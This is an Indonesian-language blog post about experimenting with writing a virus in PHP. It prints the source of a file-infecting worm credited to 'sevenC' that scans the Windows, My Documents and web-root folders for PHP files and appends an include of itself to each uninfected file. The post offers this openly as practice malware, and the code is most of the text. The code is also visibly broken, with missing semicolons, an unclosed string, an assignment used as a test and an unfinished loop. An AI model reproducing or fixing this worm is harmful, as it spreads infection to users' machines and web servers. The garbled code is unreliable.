eksperimen membuat virus berbasis php

membuat virus itu bisa dengan bahasa apa saja. salah satunya adalah dengan bahasa pemrograman php. saya sendiri masih awam dengan bahasa ini, akan tetapi apa salahnya sih kita mencoba latihan??????// oke langsung saja.

virus ini juga dikenal dengan nama I-Worm.PHP.indonesia buata sevenC.
-------------------------------Code-------------------------------
                 
                  // #################################################
                  // # PHP.Indonesia made for all Chicken looser ground the
                  world  #
                  // # By sevenC / N0:7                                         
                                           #
                  // # http://sevenc.vze.com                                    
                                           #
                  // # sevenC_zone@yahoo.com                                    
                                   #
                  // ##################################################
                  $jawa = "indonesia.php\n";
                  $sumatra = "Wellcome to Indonesian PHPlovers.\n";
                  $kalimantan = $jawa . $sumatra;
                  echo $kalimantan;
                  $all = opendir('C:\Windows\');
                  $all1 = opendir('C:\My Documents\');
                  $all2 = opendir('C:\InetPub\wwwRoot\');
                  $all3 = $all && $all1 && $all2
                  while ($file = readdir($all3))
                  {
                   $inf = true;
                   $exe = false;
                   if ( ($exe = strstr ($file, '.php')) || ($exe = strstr
                  ($file, '.php2')) || ($exe = strstr ($file, '.php3')) )
                          if ( is_file($file) && is_writeable($file) )
                   {
                    $new = fopen($file, "r");
                    $look = fread($new, filesize($file));
                    $yes = strstr ($look, 'indonesia.php');
                    if (!$yes) $inf = false;
                   }
                   if ( ($inf=false) )
                   {
                    $new = fopen($file, "a");
                    $fputs($new, "");
                    $fputs($new, "
                    $fputs($new, "include(\"");
                    $fputs($new, __FILE__);
                    $fputs($new, "\"); ");
                    $fputs($new, "?>");
                    return;
                   }